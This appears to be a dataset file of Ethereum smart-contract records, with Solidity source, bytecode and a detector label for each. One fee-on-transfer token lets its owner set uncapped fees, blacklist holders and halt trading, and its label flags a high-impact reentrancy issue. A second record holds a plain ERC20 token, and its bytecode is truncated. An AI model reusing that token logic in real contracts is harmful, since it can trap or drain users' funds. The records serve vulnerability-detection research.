return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610526578063dd62ed3e14610546578063ea1644d51461058c578063f2fde38b146105ac57600080fd5b8063a2a957bb146104a1578063a9059cbb146104c1578063bfd79284146104e1578063c3c8cd801461051157600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b41146101fe57806398a5c3151461048157600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611930565b6105cc565b005b34801561020a57600080fd5b50604080518082018252600b81526a43554c54494e4f4d49435360a81b6020820152905161023891906119f5565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a4a565b61066b565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611a76565b610682565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ab7565b6106eb565b34801561036c57600080fd5b506101fc61037b366004611ae4565b610736565b34801561038c57600080fd5b506101fc61077e565b3480156103a157600080fd5b506102c06103b0366004611ab7565b6107c9565b3480156103c157600080fd5b506101fc6107eb565b3480156103d657600080fd5b506101fc6103e5366004611aff565b61085f565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ab7565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611ae4565b61088e565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506101fc61049c366004611aff565b6108d6565b3480156104ad57600080fd5b506101fc6104bc366004611b18565b610905565b3480156104cd57600080fd5b506102616104dc366004611a4a565b610943565b3480156104ed57600080fd5b506102616104fc366004611ab7565b60106020526000908152604090205460ff1681565b34801561051d57600080fd5b506101fc610950565b34801561053257600080fd5b506101fc610541366004611b4a565b6109a4565b34801561055257600080fd5b506102c0610561366004611bce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059857600080fd5b506101fc6105a7366004611aff565b610a45565b3480156105b857600080fd5b506101fc6105c7366004611ab7565b610a74565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105f690611c07565b60405180910390fd5b60005b81518110156106675760016010600084848151811061062357610623611c3c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065f81611c68565b915050610602565b5050565b6000610678338484610b5e565b5060015b92915050565b600061068f848484610c82565b6106e184336106dc85604051806060016040528060288152602001611d82602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111be565b610b5e565b5060019392505050565b6000546001600160a01b031633146107155760405162461bcd60e51b81526004016105f690611c07565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107605760405162461bcd60e51b81526004016105f690611c07565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b357506013546001600160a01b0316336001600160a01b0316145b6107bc57600080fd5b476107c6816111f8565b50565b6001600160a01b03811660009081526002602052604081205461067c90611232565b6000546001600160a01b031633146108155760405162461bcd60e51b81526004016105f690611c07565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108895760405162461bcd60e51b81526004016105f690611c07565b601655565b6000546001600160a01b031633146108b85760405162461bcd60e51b81526004016105f690611c07565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016105f690611c07565b601855565b6000546001600160a01b0316331461092f5760405162461bcd60e51b81526004016105f690611c07565b600893909355600a91909155600955600b55565b6000610678338484610c82565b6012546001600160a01b0316336001600160a01b0316148061098557506013546001600160a01b0316336001600160a01b0316145b61098e57600080fd5b6000610999306107c9565b90506107c6816112b6565b6000546001600160a01b031633146109ce5760405162461bcd60e51b81526004016105f690611c07565b60005b82811015610a3f5781600560008686858181106109f0576109f0611c3c565b9050602002016020810190610a059190611ab7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3781611c68565b9150506109d1565b50505050565b6000546001600160a01b03163314610a6f5760405162461bcd60e51b81526004016105f690611c07565b601755565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b81526004016105f690611c07565b6001600160a01b038116610b035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f6565b6001600160a01b038216610c215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f6565b6001600160a01b038216610d485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f6565b60008111610daa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f6565b6000546001600160a01b03848116911614801590610dd657506000546001600160a01b03838116911614155b156110b757601554600160a01b900460ff16610e6f576000546001600160a01b03848116911614610e6f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f6565b601654811115610ec15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f6565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0357506001600160a01b03821660009081526010602052604090205460ff16155b610f5b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f6565b6015546001600160a01b03838116911614610fe05760175481610f7d846107c9565b610f879190611c83565b10610fe05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f6565b6000610feb306107c9565b6018546016549192508210159082106110045760165491505b80801561101b5750601554600160a81b900460ff16155b801561103557506015546001600160a01b03868116911614155b801561104a5750601554600160b01b900460ff165b801561106f57506001600160a01b03851660009081526005602052604090205460ff16155b801561109457506001600160a01b03841660009081526005602052604090205460ff16155b156110b4576110a2826112b6565b4780156110b2576110b2476111f8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f957506001600160a01b03831660009081526005602052604090205460ff165b8061112b57506015546001600160a01b0385811691161480159061112b57506015546001600160a01b03848116911614155b15611138575060006111b2565b6015546001600160a01b03858116911614801561116357506014546001600160a01b03848116911614155b1561117557600854600c55600954600d555b6015546001600160a01b0384811691161480156111a057506014546001600160a01b03858116911614155b156111b257600a54600c55600b54600d555b610a3f8484848461143f565b600081848411156111e25760405162461bcd60e51b81526004016105f691906119f5565b5060006111ef8486611c9b565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610667573d6000803e3d6000fd5b60006006548211156112995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f6565b60006112a361146d565b90506112af8382611490565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fe576112fe611c3c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135257600080fd5b505afa158015611366573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138a9190611cb2565b8160018151811061139d5761139d611c3c565b6001600160a01b0392831660209182029290920101526014546113c39130911684610b5e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fc908590600090869030904290600401611ccf565b600060405180830381600087803b15801561141657600080fd5b505af115801561142a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144c5761144c6114d2565b611457848484611500565b80610a3f57610a3f600e54600c55600f54600d55565b600080600061147a6115f7565b90925090506114898282611490565b9250505090565b60006112af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611637565b600c541580156114e25750600d54155b156114e957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151287611665565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154490876116c2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115739086611704565b6001600160a01b03891660009081526002602052604090205561159581611763565b61159f84836117ad565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116128282611490565b82101561162e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116585760405162461bcd60e51b81526004016105f691906119f5565b5060006111ef8486611d40565b60008060008060008060008060006116828a600c54600d546117d1565b925092509250600061169261146d565b905060008060006116a58e878787611826565b919e509c509a509598509396509194505050505091939550919395565b60006112af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111be565b6000806117118385611c83565b9050838110156112af5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f6565b600061176d61146d565b9050600061177b8383611876565b306000908152600260205260409020549091506117989082611704565b30600090815260026020526040902055505050565b6006546117ba90836116c2565b6006556007546117ca9082611704565b6007555050565b60008080806117eb60646117e58989611876565b90611490565b905060006117fe60646117e58a89611876565b90506000611816826118108b866116c2565b906116c2565b9992985090965090945050505050565b60008080806118358886611876565b905060006118438887611876565b905060006118518888611876565b905060006118638261181086866116c2565b939b939a50919850919650505050505050565b6000826118855750600061067c565b60006118918385611d62565b90508261189e8583611d40565b146112af5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f6565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c657600080fd5b803561192b8161190b565b919050565b6000602080838503121561194357600080fd5b823567ffffffffffffffff8082111561195b57600080fd5b818501915085601f83011261196f57600080fd5b813581811115611981576119816118f5565b8060051b604051601f19603f830116810181811085821117156119a6576119a66118f5565b6040529182528482019250838101850191888311156119c457600080fd5b938501935b828510156119e9576119da85611920565b845293850193928501926119c9565b98975050505050505050565b600060208083528351808285015260005b81811015611a2257858101830151858201604001528201611a06565b81811115611a34576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5d57600080fd5b8235611a688161190b565b946020939093013593505050565b600080600060608486031215611a8b57600080fd5b8335611a968161190b565b92506020840135611aa68161190b565b929592945050506040919091013590565b600060208284031215611ac957600080fd5b81356112af8161190b565b8035801515811461192b57600080fd5b600060208284031215611af657600080fd5b6112af82611ad4565b600060208284031215611b1157600080fd5b5035919050565b60008060008060808587031215611b2e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5f57600080fd5b833567ffffffffffffffff80821115611b7757600080fd5b818601915086601f830112611b8b57600080fd5b813581811115611b9a57600080fd5b8760208260051b8501011115611baf57600080fd5b602092830195509350611bc59186019050611ad4565b90509250925092565b60008060408385031215611be157600080fd5b8235611bec8161190b565b91506020830135611bfc8161190b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7c57611c7c611c52565b5060010190565b60008219821115611c9657611c96611c52565b500190565b600082821015611cad57611cad611c52565b500390565b600060208284031215611cc457600080fd5b81516112af8161190b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1f5784516001600160a01b031683529383019391830191600101611cfa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7c57611d7c611c52565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d78d8a9927bd3f184921a8977469f6fbc1ed34c46b110a803b79e35f59ee241564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,004 |
0x15b6d0d81da7a069aeb838bf058300484765960f
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title DDToken
* @dev DD ERC20 token. Implemented as an OpenZeppelin StandardToken.
*/
contract DDToken is StandardToken {
string public constant name = "DDToken";
string public constant symbol = "DD";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f4565b3480156101f257600080fd5b506101fb6104ff565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610504565b34801561024157600080fd5b50610195600160a060020a03600435166105f4565b34801561026257600080fd5b506100d361060f565b34801561027757600080fd5b5061016c600160a060020a0360043516602435610646565b34801561029b57600080fd5b5061016c600160a060020a0360043516602435610727565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c0565b60408051808201909152600781527f4444546f6b656e00000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561039457600080fd5b600160a060020a0384166000908152602081905260409020548211156103b957600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103e957600080fd5b600160a060020a038416600090815260208190526040902054610412908363ffffffff6107eb16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610447908363ffffffff6107fd16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610489908363ffffffff6107eb16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b66470de4df82000081565b600881565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561055957336000908152600260209081526040808320600160a060020a038816845290915281205561058e565b610569818463ffffffff6107eb16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600281527f4444000000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561065d57600080fd5b3360009081526020819052604090205482111561067957600080fd5b33600090815260208190526040902054610699908363ffffffff6107eb16565b3360009081526020819052604080822092909255600160a060020a038516815220546106cb908363ffffffff6107fd16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461075b908363ffffffff6107fd16565b336000818152600260209081526040808320600160a060020a0389168